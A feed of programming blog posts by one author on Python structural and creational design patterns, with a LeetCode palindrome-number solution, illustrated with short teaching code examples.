    def __init__(self, url):
        self.url = url
        self.data = self._load()

    def _load(self):
        print(f"Loading {self.url}... (expensive operation)")
        return "image_data_10mb"

    def display(self):
        print(f"Displaying image from {self.url}")

# Proxy: Controls access to RealImage
class ImageProxy:
    def __init__(self, url):
        self.url = url
        self._real_image = None  # Not loaded yet

    def _ensure_loaded(self):
        """Lazy loading: Only load when actually needed"""
        if self._real_image is None:
            self._real_image = RealImage(self.url)

    def display(self):
        self._ensure_loaded()  # Load only when display is called
        self._real_image.display()

# Client code using proxy
def show_webpage():
    images = []
    for i in range(100):
        # Create proxies, not actual images
        proxy = ImageProxy(f"http://example.com/image{i}.jpg")
        images.append(proxy)

    print("100 image proxies created (nothing loaded yet)\n")

    # Only display 3 images - only those 3 load
    print("Displaying first 3 images:")
    images[0].display()  # This one loads
    images[1].display()  # This one loads
    images[2].display()  # This one loads
    # 97 images never loaded!

show_webpage()

Practical Example: Access Control Proxy

# Real service
class DatabaseService:
    def execute_query(self, query):
        return f"Executing: {query}"

    def delete_database(self):
        return "Database deleted!"

# Proxy with access control
class DatabaseServiceProxy:
    def __init__(self, service, user_role):
        self.service = service
        self.user_role = user_role

    def execute_query(self, query):
        if self.user_role in ["admin", "analyst"]:
            return self.service.execute_query(query)
        else:
            return "Access denied: insufficient permissions"

    def delete_database(self):
        if self.user_role == "admin":
            return self.service.delete_database()
        else:
            return "Access denied: only admins can delete"

# Usage
db = DatabaseService()

# Admin proxy
admin_proxy = DatabaseServiceProxy(db, "admin")
print(admin_proxy.execute_query("SELECT * FROM users"))
print(admin_proxy.delete_database())

# User proxy
user_proxy = DatabaseServiceProxy(db, "user")
print(user_proxy.execute_query("SELECT * FROM users"))
print(user_proxy.delete_database())  # Denied!

Pros:

Lazy initialization saves resources
Control and restrict access as needed
Add logging and monitoring transparently
Can implement caching efficiently
Decouple clients from real objects
Handle remote objects transparently

Cons:

Added layer of indirection
Slight performance overhead
Debugging becomes harder
Can hide implementation details excessively

My Take:

Proxy is everywhere in production systems, even if developers don't explicitly recognize it.

Common real-world uses:

ORM lazy loading (Django, SQLAlchemy)
Web frameworks (middleware, decorators)
Mock objects (testing)
Caching layers (Redis, memcached)
RPC clients (gRPC, REST clients)
Database connection pooling

The key insight: A proxy is a controlled gateway.

It's perfect for:

Protecting expensive operations
Controlling access
Monitoring and logging
Adding behavior transparentlyhttps://dev.to/mahdi0shamlou/structural-design-patterns-python-part-1

Use Proxy when you need to intercept or control how a client interacts with an object.

Complete Structural Patterns Comparison

Pattern	Purpose	Complexity	When to Use
Adapter	Make incompatible interfaces work together	Low	Integrating third-party libraries
Bridge	Decouple abstraction from implementation	Medium	Multiple independent dimensions
Composite	Build tree structures uniformly	Medium	Hierarchical data (files, menus, DOM)
Decorator	Add behavior without modifying classes	Medium	Dynamic feature addition, avoid explosion
Facade	Simplify complex subsystems	Low	Complex internal systems, APIs
Flyweight	Share data to save memory	Medium	Thousands of similar objects
Proxy	Control access to another object	Medium	Lazy loading, access control, monitoring

Structural Patterns in Real Production Code

You're already using these patterns whether you recognize it or not:

Facade in Action

import requests  # Simple facade over complex HTTP protocol
response = requests.get("https://api.example.com/users")

Decorator in Action

@app.route("/users")
@login_required  # Decorator pattern
@cache(timeout=300)  # Another decorator
def get_users():
    pass

Proxy in Action

user = User.objects.get(id=1)  # Django ORM proxy
print(user.posts.all())  # Posts only loaded when accessed (lazy loading)

Adapter in Action

from sqlalchemy import create_engine
# Adapter between Python code and multiple database types
engine = create_engine("postgresql://user:pass@host/db")

Key Takeaways

Adapter bridges incompatible systems
Bridge prevents class explosion from multiple dimensions
Composite treats parts and wholes uniformly
Decorator adds behavior without modification
Facade hides complexity behind a simple interface
Flyweight saves memory through sharing
Proxy controls access and adds behavior transparently

The Golden Rule: Use structural patterns to make your code more flexible and maintainable, not to show off.

Bad code with patterns is still bad code.

What's Next?

We've covered all Structural Design Patterns.

Coming next in the series:

Behavioral Design Patterns
- Strategy, Observer, Command, State
- Template Method, Chain of Responsibility
- Mediator, Memento, Interpreter, Visitor, Iterator

Each with the same production-focused approach: real problems, real solutions, and honest guidance on when to use them.

Want More Deep Dives?

If you enjoyed this article, check out my other production-focused guides:

Message Brokers in 2026: Kafka, RabbitMQ, NATS — Architecture decisions
OWASP Top 10 for Developers (2026 Edition) — Security patterns
Injection Attacks Are Not Dead — Attack patterns and solutions
Durable Workflow Engines: Temporal vs dbt OS vs Transact vs Prefect — System patterns

🔗 LinkedIn: https://www.linkedin.com/in/mahdi-shamlou-3b52b8278
📱 Telegram: https://telegram.me/mahdi0shamlou
📸 Instagram: https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

Mahdi Shamlou | Structural Design Patterns 2026: Adapter, Bridge, Composite & Decorator — Production Examples

Mahdi SHamlou | مهدی شاملو — Fri, 12 Jun 2026 09:58:08 +0000

Mahdi Shamlou here.

After breaking down Creational Design Patterns, you now understand how to build objects the right way.

But building objects is only half the battle.

The real challenge in production systems is how you organize relationships between those objects.

That's where Structural Design Patterns come in.

Structural patterns show you:

How to compose objects into larger structures
How to maintain flexibility when your system grows
How to simplify complex relationships
How to add behavior without touching existing code

I've seen systems where:

Tight coupling made changes impossible
New features required modifying dozens of files
Adapting to new requirements meant rewriting entire modules
Code became harder to test and maintain

Most of these problems vanish when you apply the right structural pattern.

Let's dive into the patterns that actually matter in 2026.

What Are Structural Design Patterns?

Structural patterns deal with object composition and relationships.

While Creational patterns answer: "How do I create objects?"

Structural patterns answer: "How do I organize objects to create larger, more flexible systems?"

The main structural patterns are:

Adapter — Make incompatible objects work together
Bridge — Decouple abstraction from implementation
Composite — Build tree-like structures
Decorator — Add behavior without modification
Facade — Simplify complex subsystems
Flyweight — Share data to save memory
Proxy — Control access to another object

Let's explore each one with real production code.

Structural Patterns That Actually Matter

1. Adapter Pattern

The Adapter pattern makes incompatible interfaces work together.

Imagine you have a payment system that expects:

processor.charge(amount, card_number)

But your new payment provider expects:

processor.send_payment(amount, card_details_object)

Without the Adapter pattern, you'd need to modify your entire codebase. With it, you create an adapter that translates between the two.

When to use it:

Integrating third-party libraries
Working with legacy code
Using multiple vendors with different APIs
Creating unified interfaces for different providers
Supporting multiple database drivers

Bad code (without pattern)

# You have two different payment systems with incompatible interfaces

class OldPaymentGateway:
    def pay(self, amount, card_number):
        return f"Processing ${amount} with card {card_number}"

class NewPaymentGateway:
    def send_payment(self, amount, payment_details):
        return f"Processing ${amount} with {payment_details['method']}"

# Your application expects a unified interface
def checkout(payment_system, amount, card_number):
    if isinstance(payment_system, OldPaymentGateway):
        return payment_system.pay(amount, card_number)
    elif isinstance(payment_system, NewPaymentGateway):
        # This doesn't work! Different interface
        return payment_system.send_payment(
            amount, 
            {"method": "card", "number": card_number}
        )
    else:
        raise ValueError("Unknown payment system")

# Every time you add a new provider, you modify checkout()

The problem: Your checkout function becomes a conditional nightmare.

Good code (with Adapter)

from abc import ABC, abstractmethod

# Define your expected interface
class PaymentProcessor(ABC):
    @abstractmethod
    def process(self, amount, card_number):
        pass

# Legacy system - doesn't match your interface
class OldPaymentGateway:
    def pay(self, amount, card_number):
        return f"Processing ${amount} with card {card_number}"

# New system - also doesn't match your interface
class NewPaymentGateway:
    def send_payment(self, amount, payment_details):
        return f"Processing ${amount} with {payment_details['method']}"

# Create adapters that translate to your expected interface
class OldPaymentAdapter(PaymentProcessor):
    def __init__(self, old_gateway):
        self.gateway = old_gateway

    def process(self, amount, card_number):
        return self.gateway.pay(amount, card_number)

class NewPaymentAdapter(PaymentProcessor):
    def __init__(self, new_gateway):
        self.gateway = new_gateway

    def process(self, amount, card_number):
        payment_details = {"method": "card", "number": card_number}
        return self.gateway.send_payment(amount, payment_details)

# Now your checkout function is simple and never changes
def checkout(processor: PaymentProcessor, amount, card_number):
    return processor.process(amount, card_number)

# Usage
old_gateway = OldPaymentGateway()
old_processor = OldPaymentAdapter(old_gateway)
checkout(old_processor, 100, "4111111111111111")

new_gateway = NewPaymentGateway()
new_processor = NewPaymentAdapter(new_gateway)
checkout(new_processor, 100, "4111111111111111")

# Add a third provider? Just create another adapter
# checkout() never changes

Pros:

Allows incompatible interfaces to work together
Doesn't require changing existing classes
Keeps business logic separate from integration logic
Makes testing easier

Cons:

Creates additional classes
Can hide poor design choices
Overuse leads to extra complexity

My Take:

The Adapter pattern is essential when working with real-world systems.

You'll constantly integrate third-party libraries, legacy systems, and multiple vendors. Adapters keep your code clean and flexible.

Every well-designed system should have an adapter layer for external dependencies. It's not optional if you care about maintainability.

2. Bridge Pattern

The Bridge pattern decouples an abstraction from its implementation so they can vary independently.

Think about database drivers.

You want your application to work with any database. But each database has a different implementation:

Application
    ↓
Abstraction (UserRepository interface)
    ↓
Bridge
    ↓
Concrete Implementation (PostgreSQL, MySQL, MongoDB)

Without the Bridge pattern, your abstraction gets tightly coupled to specific implementations.

When to use it:

Avoiding permanent binding between abstraction and implementation
Supporting multiple implementations that can change independently
Reducing class explosion (especially with multiple dimensions)
Allowing independent evolution of abstractions and implementations
Plugin architectures

Bad code (without pattern)

# Without Bridge, you end up with exponential class explosion

# One dimension: Database
class PostgreSQLUserRepository:
    def find_user(self, id):
        return f"Finding user {id} from PostgreSQL"

class MongoDBUserRepository:
    def find_user(self, id):
        return f"Finding user {id} from MongoDB"

# Another dimension: Caching
class PostgreSQLUserRepositoryWithCache:
    def find_user(self, id):
        if self.cache.has(id):
            return self.cache.get(id)
        return f"Finding user {id} from PostgreSQL (with cache)"

class MongoDBUserRepositoryWithCache:
    def find_user(self, id):
        if self.cache.has(id):
            return self.cache.get(id)
        return f"Finding user {id} from MongoDB (with cache)"

# Add another dimension (encryption)?
# Add another database? (SQLite)
# Now you have 3 × 2 = 6 classes
# Add one more dimension and you have 3 × 2 × 2 = 12 classes
# This is the "class explosion" problem

Good code (with Bridge)

from abc import ABC, abstractmethod

# Abstraction: What the client wants
class UserRepository(ABC):
    def __init__(self, implementation):
        self.implementation = implementation

    @abstractmethod
    def find_user(self, user_id):
        pass

# Concrete Abstraction
class CachedUserRepository(UserRepository):
    def __init__(self, implementation):
        super().__init__(implementation)
        self.cache = {}

    def find_user(self, user_id):
        if user_id in self.cache:
            return self.cache[user_id]

        result = self.implementation.fetch_user(user_id)
        self.cache[user_id] = result
        return result

class SimpleUserRepository(UserRepository):
    def find_user(self, user_id):
        return self.implementation.fetch_user(user_id)

# Implementation: How to fetch the data
class DatabaseImplementation(ABC):
    @abstractmethod
    def fetch_user(self, user_id):
        pass

# Concrete Implementations
class PostgreSQLImplementation(DatabaseImplementation):
    def fetch_user(self, user_id):
        return f"User {user_id} from PostgreSQL"

class MongoDBImplementation(DatabaseImplementation):
    def fetch_user(self, user_id):
        return f"User {user_id} from MongoDB"

class SQLiteImplementation(DatabaseImplementation):
    def fetch_user(self, user_id):
        return f"User {user_id} from SQLite"

# Usage: Mix and match any abstraction with any implementation
postgres = PostgreSQLImplementation()
simple_repo = SimpleUserRepository(postgres)
print(simple_repo.find_user(1))  # User 1 from PostgreSQL

cached_repo = CachedUserRepository(postgres)
print(cached_repo.find_user(1))  # User 1 from PostgreSQL
print(cached_repo.find_user(1))  # Uses cache

# Switch to MongoDB without changing repository code
mongo = MongoDBImplementation()
cached_repo = CachedUserRepository(mongo)
print(cached_repo.find_user(1))  # User 1 from MongoDB

# 2 Abstractions × 3 Implementations = 5 classes total
# vs 6 classes without the pattern
# And now you can add implementations without creating new abstraction classes

Pros:

Avoids permanent binding between abstraction and implementation
Reduces class explosion
Allows independent evolution of abstractions and implementations
Supports runtime switching of implementations
Single Responsibility Principle

Cons:

Adds an extra layer of abstraction
Can be overkill for simple cases
Makes code harder to follow if over-applied

My Take:

The Bridge pattern solves a real problem: class explosion when you have multiple independent dimensions of variation.

Use it when you have:

Multiple abstractions that need multiple implementations
Need to support multiple variants that can change independently

But don't use it for simple, one-dimensional cases. Start simple, add Bridge only when you see actual class explosion.

3. Composite Pattern

The Composite pattern composes objects into tree structures to represent part-whole hierarchies.

It lets clients treat individual objects and compositions of objects uniformly.

Think about a file system:

/root
├── file1.txt
├── folder1
│   ├── file2.txt
│   └── file3.txt
└── folder2
    └── file4.txt

A file and a folder both have a size() method. A folder's size is the sum of all its contents.

Without the Composite pattern, you handle files and folders differently everywhere.

With it, you treat them the same.

When to use it:

File system structures
Menu hierarchies
Organization charts
DOM trees
Comment threads (parent comments with nested replies)
Feature trees in games

Bad code (without pattern)

class File:
    def __init__(self, name, size):
        self.name = name
        self.size = size

    def get_size(self):
        return self.size

class Folder:
    def __init__(self, name):
        self.name = name
        self.items = []

    def add_item(self, item):
        self.items.append(item)

    def get_size(self):
        # You need special logic to handle folders
        total = 0
        for item in self.items:
            if isinstance(item, File):
                total += item.get_size()
            elif isinstance(item, Folder):
                total += item.get_size()  # Recursive but explicit
        return total

# Client code is full of type checking
def calculate_storage(item):
    if isinstance(item, File):
        return item.get_size()
    elif isinstance(item, Folder):
        total = 0
        for sub_item in item.items:
            total += calculate_storage(sub_item)  # Repeated logic
        return total
    else:
        raise ValueError("Unknown type")

Good code (with Composite)

from abc import ABC, abstractmethod

# Common interface for both files and folders
class FileSystemComponent(ABC):
    @abstractmethod
    def get_size(self):
        pass

    @abstractmethod
    def get_name(self):
        pass

# Leaf: File
class File(FileSystemComponent):
    def __init__(self, name, size):
        self.name = name
        self.size = size

    def get_size(self):
        return self.size

    def get_name(self):
        return self.name

# Composite: Folder
class Folder(FileSystemComponent):
    def __init__(self, name):
        self.name = name
        self.items = []

    def add_item(self, item: FileSystemComponent):
        self.items.append(item)

    def get_size(self):
        # Uniform interface: treat files and folders the same
        return sum(item.get_size() for item in self.items)

    def get_name(self):
        return self.name

# Client code is simple and consistent
def print_structure(component: FileSystemComponent, indent=0):
    print("  " * indent + f"{component.get_name()} ({component.get_size()} bytes)")

    # Only folders have items, but we don't need to check
    if isinstance(component, Folder):
        for item in component.items:
            print_structure(item, indent + 1)

# Usage
root = Folder("root")
root.add_item(File("file1.txt", 100))

folder1 = Folder("folder1")
folder1.add_item(File("file2.txt", 200))
folder1.add_item(File("file3.txt", 300))
root.add_item(folder1)

root.add_item(File("file4.txt", 150))

print(f"Total size: {root.get_size()} bytes")  # 750
print_structure(root)

Pros:

Simplifies client code
Clients treat individual and composite objects uniformly
Easy to add new component types
Natural way to represent hierarchical data

Cons:

Can make design too general
Performance overhead for large trees
Difficult to restrict what can be added to composites

My Take:

Composite is one of the most elegant patterns when applied correctly.

Any time you work with tree structures (file systems, UI components, organizational charts, comment threads), Composite makes your code dramatically simpler.

The key insight: Treat the part and the whole the same way. This eliminates tons of type checking and special cases.

Use it whenever you have hierarchical data. It's worth the abstraction.

4. Decorator Pattern

The Decorator pattern attaches additional responsibilities to an object dynamically.

It's an alternative to subclassing that allows behavior to be added at runtime.

Imagine a coffee shop:

Base coffee: $3
Add cream: +$0.50
Add caramel: +$0.75
Add whipped cream: +$0.50

Without decorators, you'd create:

Coffee
CoffeeWithCream
CoffeeWithCaramel
CoffeeWithWhippedCream
CoffeeWithCreamAndCaramel
CoffeeWithCreamAndCaramelAndWhippedCream
... (class explosion again)

With Decorator, you compose behaviors dynamically.

When to use it:

Adding features to objects without modifying them
Adding responsibilities dynamically
When subclassing would create too many classes
I/O streams with different filters
UI components with additional styling
Middleware in web frameworks

Bad code (without pattern)

class Coffee:
    def cost(self):
        return 3.0

    def description(self):
        return "Coffee"

class CoffeeWithCream(Coffee):
    def cost(self):
        return super().cost() + 0.50

    def description(self):
        return super().description() + ", Cream"

class CoffeeWithCaramel(Coffee):
    def cost(self):
        return super().cost() + 0.75

    def description(self):
        return super().description() + ", Caramel"

class CoffeeWithCreamAndCaramel(Coffee):
    def cost(self):
        return super().cost() + 0.50 + 0.75

    def description(self):
        return super().description() + ", Cream, Caramel"

# Every combination needs a new class
# With 5 toppings, you need 2^5 = 32 classes
# This is unmaintainable

Good code (with Decorator)

from abc import ABC, abstractmethod

# Component
class Beverage(ABC):
    @abstractmethod
    def cost(self):
        pass

    @abstractmethod
    def description(self):
        pass

# Concrete Component
class Coffee(Beverage):
    def cost(self):
        return 3.0

    def description(self):
        return "Coffee"

# Decorator Base Class
class BeverageDecorator(Beverage):
    def __init__(self, beverage: Beverage):
        self.beverage = beverage

    def cost(self):
        return self.beverage.cost()

    def description(self):
        return self.beverage.description()

# Concrete Decorators
class CreamDecorator(BeverageDecorator):
    def cost(self):
        return self.beverage.cost() + 0.50

    def description(self):
        return self.beverage.description() + ", Cream"

class CaramelDecorator(BeverageDecorator):
    def cost(self):
        return self.beverage.cost() + 0.75

    def description(self):
        return self.beverage.description() + ", Caramel"

class WhippedCreamDecorator(BeverageDecorator):
    def cost(self):
        return self.beverage.cost() + 0.50

    def description(self):
        return self.beverage.description() + ", Whipped Cream"

# Compose dynamically
coffee = Coffee()
print(f"{coffee.description()}: ${coffee.cost()}")

coffee_with_cream = CreamDecorator(coffee)
print(f"{coffee_with_cream.description()}: ${coffee_with_cream.cost()}")

fancy_coffee = WhippedCreamDecorator(CaramelDecorator(CreamDecorator(Coffee())))
print(f"{fancy_coffee.description()}: ${fancy_coffee.cost()}")

# Add any combination without new classes
iced_fancy = WhippedCreamDecorator(CaramelDecorator(Coffee()))
print(f"{iced_fancy.description()}: ${iced_fancy.cost()}")

Pros:

More flexible than subclassing
Responsibilities can be added/removed at runtime
Single Responsibility Principle
Avoids class explosion
Can combine decorators in any order

Cons:

Many small decorator classes
Order of decorators can matter
Harder to understand with multiple layers
Debugging decorated objects can be tricky

My Take:

Decorator is one of my favorite patterns because it solves real problems in elegant ways.

Every time I see a class hierarchy growing out of control (Coffee, CoffeeWithCream, CoffeeWithCreamAndSugar, ...), I immediately think "Decorator."

Python's context managers, decorators (yes, they use this pattern!), and middleware all use this pattern. It's production-tested and battle-hardened.

Use Decorator whenever you need to add behavior dynamically without modifying existing classes.

Comparison Table

Pattern	Purpose	Complexity	When to Use
Adapter	Make incompatible interfaces work together	Low	Integrating third-party libraries
Bridge	Decouple abstraction from implementation	Medium	Multiple independent dimensions
Composite	Build tree structures uniformly	Medium	Hierarchical data (files, menus, DOM)
Decorator	Add behavior without modifying classes	Medium	Dynamic feature addition, avoid explosion

Part 2 Coming Next

In the next article, we'll cover the remaining structural patterns:

Facade — Simplify complex subsystems
Flyweight — Share data to save memory
Proxy — Control access to objects

Each with the same production-focused approach: real code, real problems, and when to actually use them.

What's Next in the Design Patterns Series?

Part 1 (This Article): Adapter, Bridge, Composite, Decorator
Part 2: Facade, Flyweight, Proxy
Behavioral Patterns (Coming Soon): Strategy, Observer, Command, State, Template Method, Chain of Responsibility, and more

Want More Deep Dives?

If you enjoyed this article, check out my other production-focused guides:

Creational Design Patterns: Python 2026 — Singleton, Factory, Builder, and more
Message Brokers in 2026: Kafka, RabbitMQ, NATS — Architecture decisions
OWASP Top 10 for Developers (2026 Edition) — Security patterns
Durable Workflow Engines: Temporal vs dbt OS vs Transact vs Prefect — System patterns

🔗 LinkedIn: https://www.linkedin.com/in/mahdi-shamlou-3b52b8278
📱 Telegram: https://telegram.me/mahdi0shamlou
📸 Instagram: https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

Mahdi Shamlou | Solving LeetCode #9: Palindrome Number — Step by Step

Mahdi SHamlou | مهدی شاملو — Thu, 11 Jun 2026 15:33:34 +0000

Hey everyone! Mahdi Shamlou here — back with another LeetCode classic problem 🚀

After #8 String to Integer (atoi), today I solved Problem #9 — Palindrome Number.

At first, I thought:

"This should be easy... just check whether the number reads the same from left to right and right to left."

But instead of reversing the number, I decided to treat it like a palindrome string problem and expand from the center.

Problem Statement

Given an integer x, return true if x is a palindrome, and false otherwise.

A palindrome number reads the same backward as forward.

Examples

Input: 121
Output: true

Input: -121
Output: false

Input: 10
Output: false

Input: 1221
Output: true

My Thought Process

When I started, this was my idea:

Change x from integer to string.
Find the center of the string.
Expand around the center.
Compare characters on both sides.
If everything matches until the edges, return True.

My initial notes were literally:

first of all i think change x from int to str
secend i think i can find center of str and expand around the center with consider odd or even x_str
three if any one of them is not equal we can return False else return True

So that's exactly the approach I implemented.

My Solution

class Solution:
    def isPalindrome(self, x: int) -> bool:
        """
            first of all i think change x from int to str 
            secend i think i can find center of str and expand around the center with consider odd or even x_str
            three if any one of them is not equal we can return False else return True 
        """
        x_str = str(x)
        x_is_palindrome = False   

        print(f"x : {x_str} and type : {type(x_str)}")

        if len(x_str) % 2 == 0:

            print(f"x is even and len is : {len(x_str)}")
            mid_of_str_num = len(x_str) / 2

            left = mid_of_str_num - 1
            right = mid_of_str_num 
            print(f"left for start is : {left}")
            print(f"right for start is : {right}")

            while left >= 0 and right < len(x_str) and x_str[int(left)] == x_str[int(right)]:
                left -= 1
                right += 1

            left = left + 1 
            right = right - 1

            print(f"left in end is : {left}")
            print(f"right in end is : {right}")

            return (left == 0) and (right == len(x_str)-1) 

        else:

            print(f"x is odd and len is : {len(x_str)}")
            mid_of_str_num = int(len(x_str) / 2)

            left = mid_of_str_num
            right = mid_of_str_num 

            print(f"left for start is : {left}")
            print(f"right for start is : {right}")

            while left >= 0 and right < len(x_str) and x_str[int(left)] == x_str[int(right)]:
                left -= 1
                right += 1

            left = left + 1 
            right = right - 1

            print(f"left in end is : {left}")
            print(f"right in end is : {right}")   

            return (left == 0) and (right == len(x_str)-1)      

        return False


x = Solution()
res = x.isPalindrome(x=121)
print(res)

How It Works

For Odd Length Numbers

Example:

The center is:

Start with:

left = center
right = center

Then expand outward:

1 2 1
^   ^

If both sides keep matching until we reach the edges, the number is a palindrome.

For Even Length Numbers

Example:

There is no single center.

Instead we start from:

12|21
  ^

and compare:

1 2 2 1
  ^ ^

Then expand:

1 2 2 1
^     ^

If every comparison matches, we return True.

What I Learned

This problem reminded me of a common pattern:

Expand Around Center

I usually think about this technique for string palindrome problems, but it also works nicely here after converting the integer into a string.

Another thing I noticed is that handling odd-length and even-length cases separately makes the logic easier to understand.

Complexity Analysis

Time Complexity

O(n)

We may visit each character once while expanding from the center.

Space Complexity

O(n)

Because we convert the integer into a string.

Final Thoughts

This problem wasn't really about a complicated algorithm.

For me, it was about taking a familiar palindrome technique and applying it to numbers.

I know there are other solutions that avoid converting to a string, but I wanted to solve it using the first idea that came to my mind and make it work correctly.

And that's one thing I enjoy about LeetCode:

Sometimes the best solution is not the first accepted solution. But every accepted solution teaches you something.

What About You?

Did you solve this problem using:

String conversion?
Reversing the integer?
Two pointers?
Another approach?

Drop your thoughts — I read everything! 🚀

My Repo (All Solutions)

GitHub — mahdi0shamlou/LeetCode

Want More?

If you enjoyed this deep dive, check out my other articles:

Design Patterns in Programming: Stop Building Spaghetti Code (2026 Edition) | Mahdi Shamlou — Design Patterns
Message Brokers in 2026: Kafka, RabbitMQ, NATS — Which One Should You Really Use — Architecture decisions
OWASP Top 10 for Developers (2026 Edition) — How to Actually Fix the Most Dangerous Web Vulnerabilities — Security patterns
Injection Attacks Are Not Dead: SQL, NoSQL, ORM, and Command Injection — How to Actually Fix Them — Attack patterns
Durable Workflow Engines: Temporal vs dbt OS vs Transact vs Prefect — System patterns

🔗 LinkedIn: https://www.linkedin.com/in/mahdi-shamlou-3b52b8278
📱 Telegram: https://telegram.me/mahdi0shamlou
📸 Instagram: https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

Design Patterns in Programming: Stop Building Spaghetti Code (2026 Edition - Creational Patterns) | Mahdi Shamlou

Mahdi SHamlou | مهدی شاملو — Thu, 11 Jun 2026 14:40:56 +0000

Mahdi Shamlou here.

If you've read my OWASP Top 10 or durable workflow engines articles, you know I care about writing code that actually works in production. If you've seen my message broker comparison, you know I think deeply about system architecture.

Today, we're tackling something that separates junior developers from senior ones:

Which design patterns should you actually use in 2026?

I've seen countless codebases where developers either:

Don't use any patterns (chaos)
Overuse patterns everywhere (over-engineered nightmare)
Use patterns they don't understand (copy-paste disaster)
Pick the wrong pattern for the job (wrong tool, right hand)

Most tutorials teach patterns in a vacuum. They don't tell you when, where, and why to use them.

So I decided to write a practical guide that shows you the design patterns that matter, with real Python code you can use today.

Let's dive in.

What Are Design Patterns?

A design pattern is a reusable solution to a common programming problem.

Instead of reinventing the wheel every time, you use a proven blueprint that other developers have tested in real systems.

Think of them like recipes:

Instead of figuring out how to make pasta:
You follow a pattern (boil water → add salt → cook pasta → drain)

Design patterns help you:

Write cleaner code
Make systems easier to maintain
Avoid common mistakes
Communicate with other developers
Build scalable systems

The most practical patterns fall into three groups:

Creational — How to create objects
Structural — How to organize relationships between objects
Behavioral — How objects interact and communicate

Creational Patterns (That Actually Matter)

1. Singleton Pattern

The Singleton pattern ensures only one instance of a class exists.

When to use it:

Database connections
Configuration managers
Logging systems
Cache managers

Bad code (without pattern):

# Every time you call this, you get a new instance
class DatabaseConnection:
    def __init__(self):
        self.connection = connect_to_db()
        print("New connection created")

db1 = DatabaseConnection()  # "New connection created"
db2 = DatabaseConnection()  # "New connection created" again!
# Now you have 2 connections (bad!)

Good code (with Singleton):

class Singleton(type):
    _instances = {}

    def __call__(cls, *args, **kwargs):
        if cls not in cls._instances:
            cls._instances[cls] = super().__call__(*args, **kwargs)
        return cls._instances[cls]

class DatabaseConnection(metaclass=Singleton):
    def __init__(self):
        self.connection = connect_to_db()
        print("Connection created once")

db1 = DatabaseConnection()  # "Connection created once"
db2 = DatabaseConnection()  # Reuses same instance, nothing printed
print(db1 is db2)  # True - same object

Pros:

Only one instance in memory
Thread-safe when done right
Good for shared resources

Cons:

Can make testing harder
Global state (use carefully)
Can hide dependencies

2. Factory Pattern

The Factory pattern creates objects without telling the client what class to instantiate.

When to use it:

Creating different types of objects based on conditions
Database drivers (MySQL, PostgreSQL, MongoDB)
Payment processors (Stripe, PayPal, Square)
Log handlers (File, Email, Slack)

Bad code (without pattern):

# You need to know about every payment type
if payment_type == "stripe":
    processor = StripeProcessor()
elif payment_type == "paypal":
    processor = PayPalProcessor()
elif payment_type == "square":
    processor = SquareProcessor()
else:
    raise ValueError("Unknown payment type")

processor.process_payment(amount)

Good code (with Factory):

class PaymentProcessor:
    def process_payment(self, amount):
        raise NotImplementedError

class StripeProcessor(PaymentProcessor):
    def process_payment(self, amount):
        return f"Processing ${amount} with Stripe"

class PayPalProcessor(PaymentProcessor):
    def process_payment(self, amount):
        return f"Processing ${amount} with PayPal"

class SquareProcessor(PaymentProcessor):
    def process_payment(self, amount):
        return f"Processing ${amount} with Square"

class PaymentFactory:
    _processors = {
        "stripe": StripeProcessor,
        "paypal": PayPalProcessor,
        "square": SquareProcessor,
    }

    @staticmethod
    def create(payment_type):
        processor_class = PaymentFactory._processors.get(payment_type)
        if not processor_class:
            raise ValueError(f"Unknown payment type: {payment_type}")
        return processor_class()

# Now you just ask the factory
processor = PaymentFactory.create("stripe")
processor.process_payment(100)  # "Processing $100 with Stripe"

Pros:

Easy to add new types
Decouples client from concrete classes
Follows Open/Closed principle

Cons:

More classes to manage
Can be overkill for simple cases

3. Abstract Factory Pattern

The Abstract Factory pattern creates families of related objects without specifying their concrete classes.

If Factory Method answers:

"Which object should I create?"

Abstract Factory answers:

"Which group of related objects should I create together?"

Think about a real application that supports multiple databases.

When you choose PostgreSQL, you don't just need a PostgreSQL connection.

You also need:

PostgreSQL repositories
PostgreSQL query builders
PostgreSQL transaction managers

When you switch to MongoDB, you need the MongoDB versions of all those components.

Without Abstract Factory, your code becomes full of conditionals.

When to use it:

Supporting multiple databases
Multi-cloud systems (AWS, Azure, GCP)
Cross-platform applications
UI frameworks with multiple themes
Plugin architectures

Bad code (without pattern)

database_type = "postgres"

if database_type == "postgres":
    connection = PostgreSQLConnection()
    repository = PostgreSQLUserRepository()
    transaction = PostgreSQLTransactionManager()

elif database_type == "mongo":
    connection = MongoConnection()
    repository = MongoUserRepository()
    transaction = MongoTransactionManager()

else:
    raise ValueError("Unsupported database")

The problem:

Every new database requires more conditionals
Related objects can accidentally be mixed
Business logic becomes tightly coupled to implementations

Imagine accidentally creating:

connection = PostgreSQLConnection()
repository = MongoUserRepository()

Now your application is broken.

Good code (with Abstract Factory)

from abc import ABC, abstractmethod

# Products
class Connection(ABC):
    pass
class UserRepository(ABC):
    pass
class TransactionManager(ABC):
    pass

# PostgreSQL Family
class PostgreSQLConnection(Connection):
    pass
class PostgreSQLUserRepository(UserRepository):
    pass
class PostgreSQLTransactionManager(TransactionManager):
    pass

# MongoDB Family
class MongoConnection(Connection):
    pass
class MongoUserRepository(UserRepository):
    pass
class MongoTransactionManager(TransactionManager):
    pass


# Abstract Factory
class DatabaseFactory(ABC):

    @abstractmethod
    def create_connection(self):
        pass

    @abstractmethod
    def create_repository(self):
        pass

    @abstractmethod
    def create_transaction_manager(self):
        pass


# Concrete Factories
class PostgreSQLFactory(DatabaseFactory):

    def create_connection(self):
        return PostgreSQLConnection()

    def create_repository(self):
        return PostgreSQLUserRepository()

    def create_transaction_manager(self):
        return PostgreSQLTransactionManager()


class MongoFactory(DatabaseFactory):

    def create_connection(self):
        return MongoConnection()

    def create_repository(self):
        return MongoUserRepository()

    def create_transaction_manager(self):
        return MongoTransactionManager()


# Usage

factory = PostgreSQLFactory()

connection = factory.create_connection()
repository = factory.create_repository()
transaction = factory.create_transaction_manager()

Now all objects belong to the same family and remain compatible.

Pros:

Guarantees compatibility between related objects
Makes switching implementations easy
Reduces conditional logic
Follows the Open/Closed Principle

Cons:

Adds extra abstraction
More classes to maintain
Can be overkill for small projects

My Take:

Most developers don't need Abstract Factory every day.

But when you're building systems that support multiple providers, databases, clouds, or platforms, Abstract Factory can save you from hundreds of conditionals and a lot of architectural pain.

4. Builder Pattern

The Builder pattern constructs complex objects step by step instead of creating them with a massive constructor.

As applications grow, objects often require many optional parameters.

